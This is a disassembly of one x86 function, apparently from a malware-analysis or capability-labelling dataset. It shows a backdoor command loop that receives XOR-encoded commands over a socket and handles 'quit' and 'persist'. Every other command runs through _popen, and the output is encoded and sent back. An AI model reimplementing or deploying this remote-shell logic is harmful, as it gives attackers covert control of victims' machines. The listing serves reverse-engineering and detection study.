Function at 0x40163e
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [0x403020]
lea eax, [ebx - 1]
mov dword [ebp - 0x20], eax
mov edx, ebx
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.00402900
sub esp, eax
lea eax, [esp + 0x10]
add eax, 0
mov dword [ebp - 0x1c], eax
mov edi, dword [0x403020]
lea eax, [edi - 1]
mov dword [ebp - 0x24], eax
mov edx, edi
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.00402900
sub esp, eax
lea eax, [esp + 0x10]
add eax, 0
mov dword [ebp - 0x28], eax
mov esi, dword [0x403024]
lea eax, [esi - 1]
mov dword [ebp - 0x2c], eax
mov edx, esi
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.00402900
sub esp, eax
lea eax, [esp + 0x10]
add eax, 0
mov dword [ebp - 0x30], eax
mov dword [esp], 0xb
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._memset
mov eax, edi
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._memset
mov eax, esi
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x406044]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], ebx
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov eax, ebx
mov dword [esp + 0xc], 0x400
mov dword [esp + 8], 0x403040
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._XOR
mov dword [esp + 8], 4
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.quit
call sym._strncmp
test eax, eax
jne 0x4017d7
mov eax, dword [0x406044]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp], 0
call sym._exit
mov dword [esp + 8], 7
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.persist
call sym._strncmp
test eax, eax
jne 0x401800
call sym._persist
jmp 0x401700
mov dword [esp + 4], 0x404051
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0x34], eax
jmp 0x40182c
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x403020]
mov edx, dword [ebp - 0x34]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x40181a
mov eax, esi
mov dword [esp + 0xc], 0x400
mov dword [esp + 8], 0x403040
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._XOR
mov eax, dword [0x406044]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], esi
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._fclose
jmp 0x401700